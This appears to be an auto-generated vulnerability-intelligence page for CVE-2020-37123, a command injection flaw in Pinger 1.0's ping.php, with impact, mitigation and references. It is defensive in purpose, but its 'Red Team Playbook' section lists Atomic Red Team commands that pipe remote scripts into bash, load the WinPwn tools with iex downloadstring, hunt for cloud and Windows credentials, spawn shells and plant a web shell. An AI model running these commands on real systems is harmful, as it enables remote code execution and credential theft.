CVE-2020-37123
Overview
The vulnerability is a command injection flaw rooted in improper input sanitization within the wcchandler Pinger application. Specifically, the ping.php component fails to validate or sanitize user-supplied input in the 'ping' and 'socket' parameters, allowing shell metacharacters to be injected and executed on the server. This unsanitized input handling directly affects the command execution functionality of the ping feature.
Vulnerability Description
Pinger 1.0 contains a remote code execution vulnerability that allows attackers to inject shell commands through the ping and socket parameters. Attackers can exploit the unsanitized input in ping.php to write arbitrary PHP files and execute system commands by appending shell metacharacters.
Impact
An unauthenticated remote attacker can execute arbitrary system commands on the server hosting wcchandler Pinger, leading to full compromise of the affected system. This includes the ability to write malicious PHP files, execute arbitrary code, and potentially escalate privileges or move laterally within the network. The attack requires only network access to the vulnerable endpoint and no user interaction, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. Successful exploitation can result in data breaches, service disruption, and loss of system integrity.
Solution
Users of wcchandler Pinger version 1.0 should upgrade to the latest patched version available on the official GitHub repository (https://github.com/wcchandler/pinger) where input validation has been implemented to mitigate command injection. The advisory at https://www.vulncheck.com/advisories/pinger-remote-code-execution provides detailed patch instructions. Until patching, restricting access to ping.php through network-level controls or web application firewalls can serve as a temporary mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Pinger 1.0 is characterized by a critical remote code execution flaw that arises from inadequate input validation in the ping.php script. This issue allows attackers to inject arbitrary shell commands through the ping and socket parameters. When user input is not properly sanitized, it can lead to the execution of malicious PHP code on the server. The exploitation of this vulnerability hinges on the ability to manipulate the input parameters, enabling an attacker to craft a request that includes shell metacharacters. This results in the potential for writing arbitrary PHP files on the server and executing system commands, which can compromise the integrity and confidentiality of the system.
Attack vectors for this vulnerability are straightforward yet highly effective. An attacker can initiate an exploit by sending a specially crafted HTTP request to the vulnerable application, specifically targeting the ping.php endpoint. By injecting shell commands into the ping or socket parameters, the attacker can manipulate the server's behavior. For example, an attacker could execute commands to download and execute malicious payloads, create backdoors, or even escalate privileges to gain full control over the server environment. Additionally, the simplicity of this attack vector makes it accessible to individuals with limited technical expertise, thereby increasing the risk of widespread exploitation.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely on Pinger 1.0 for their operations. Successful exploitation can lead to unauthorized access to sensitive data, disruption of services, and potential financial losses. The ability to execute arbitrary code on a server can also facilitate further attacks within the network, allowing attackers to pivot to other systems and escalate their access. This not only poses a significant business risk but also damages the organization's reputation and erodes customer trust. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, indicating that it should be prioritized for remediation.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify instances of the vulnerable application in use. Additionally, employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests before they reach the application. Input validation and sanitization should be enforced rigorously within the application code to prevent the injection of shell commands. Furthermore, organizations should maintain an up-to-date inventory of their software and promptly apply patches or updates to mitigate known vulnerabilities.
In conclusion, the remote code execution vulnerability in Pinger 1.0 presents a significant threat to organizations utilizing this application. The ease of exploitation combined with the potential for severe consequences necessitates immediate attention from cybersecurity professionals. By adopting proactive detection and mitigation strategies, organizations can safeguard their systems against this and similar vulnerabilities, ensuring the integrity and security of their operations.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
51%
|
Medium | High | |
| CAPEC-6 | Argument Injection |
48%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-37123 |
| exploit-db.com |
GitHub CVE
exploit
|
https://www.exploit-db.com/exploits/48323 |
| github.com |
GitHub CVE
product
|
https://github.com/wcchandler/pinger |
| vulncheck.com |
GitHub CVE
third-party-advisory
|
https://www.vulncheck.com/advisories/pinger-remote-code-execution |